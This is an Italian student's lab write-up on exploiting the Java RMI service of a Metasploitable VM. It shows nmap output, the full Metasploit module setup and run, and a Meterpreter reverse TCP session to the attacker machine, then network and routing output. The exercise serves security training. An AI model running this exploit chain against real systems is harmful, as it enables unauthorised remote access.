

S7 LEZIONE 5

Traccia:

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI.

Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota. I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112
- Scansione della macchina con nmap per evidenziare la vulnerabilità.
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
 - 1) configurazione di rete ;
 - 2) informazioni sulla tabella di routing della macchina vittima.

Per prima cosa ho impostato gli indirizzi IP delle due macchine come indicato dall'esercizio.

Con il comando **nmap** ho eseguito una scansione dei servizi e delle porte per trovare la vulnerabilità come si può vedere in figura.

```
(kali@kali)-[~]
$ nmap 192.168.11.112 1099
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-19 03:19 EST
Nmap scan report for 192.168.11.112
Host is up (0.00s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown

Nmap done: 2 IP addresses (1 host up) scanned in 17.73 seconds
```

Una volta trovata la vulnerabilità ho aperto una sessione di **Metasploit** ed ho cercato l'exploit **java_rmi** con il comando search.

```
(kali@kali)~[~]
msfconsole
[~]
it looks like you're trying to run a
module

[~]
@ @
|| ||
|| ||

+ --=[ metasploit v6.3.27-dev ]
+ --=[ 2335 exploits - 1220 auxiliary - 413 post ]
+ --=[ 1385 payloads - 46 encoders - 11 nops ]
+ --=[ 9 evasion ]

Metasploit tip: To save all commands executed since start up
to a file, use the makerc command
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search java_rmi

Matching Modules

# Name Disclosure Date Rank Check Description
0 auxiliary/gather/java_rmi_registry normal No Java RMI Registry Interfaces Enumeration
1 exploit/multi/misc/java_rmi_server 2011-10-15 excellent Yes Java RMI Server Insecure Default Configuration Java Code Execution
2 auxiliary/scanner/misc/java_rmi_server 2011-10-15 normal No Java RMI Server Insecure Endpoint Code Execution Scanner
3 exploit/multi/browser/java_rmi_connection_impl 2010-03-31 excellent No Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl
```

Con il comando **use 1** ho scelto di utilizzare il secondo exploit dell'elenco, dopodiché ho controllato i parametri dell'exploit con il comando **show options**.

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                                                                                         |
|-----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                                                                                         |
| RHOSTS    |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT     | 1099            | yes      | The target port (tcp)                                                                                                                                                                               |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.                                                               |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                                                                                        |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                                                                              |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                                                                                    |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                                                                                 |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.
```

Una volta settato l'indirizzo IP della macchina bersaglio con il comando **set rhosts** ho lanciato il comando **run** per eseguire l'exploit.

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/4lxAERfxvZC
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:46724) at 2024-01-19 03:24:30 -0500

meterpreter > ifconfig

Interface 1
=====
Name           : lo - lo
Hardware MAC   : 00:00:00:00:00:00
IPv4 Address   : 127.0.0.1
IPv4 Netmask   : 255.0.0.0
IPv6 Address   : ::1
IPv6 Netmask   : ::

Interface 2
=====
Name           : eth0 - eth0
Hardware MAC   : 00:00:00:00:00:00
IPv4 Address   : 192.168.11.112
IPv4 Netmask   : 255.255.255.0
IPv6 Address   : fe80::a00:27ff:fe76:8447
IPv6 Netmask   : ::

meterpreter > route

IPv4 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0      0            lo
192.168.11.112 255.255.255.0 0.0.0.0      0            eth0

IPv6 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::           0            lo
fe80::a00:27ff:fe76:8447 ::           ::           0            eth0
```

L'attacco è andato a buon fine, infatti si è aperta una sessione di **Meterpreter** nella quale ho eseguito prima il comando **ifconfig** per controllare la configurazione di rete della macchina bersaglio e dopo il comando **route** per ottenere informazioni sulla tabella di routing della macchina vittima.

Metasploit è un framework open-source usato per il penetration testing e lo sviluppo di exploit. Un exploit è un codice malevolo che sfrutta delle vulnerabilità già presenti su un software, la fase di exploiting si può dividere in 3 fasi:

- si crea una connessione verso il target
- si inietta un payload
- si crea la shell

Esistono 2 tipi di shell:

- **shell reverse**: quando il payload crea la connessione dal target verso l'attaccante
- **shell bind**: quando il payload crea la connessione dall'attaccante verso il target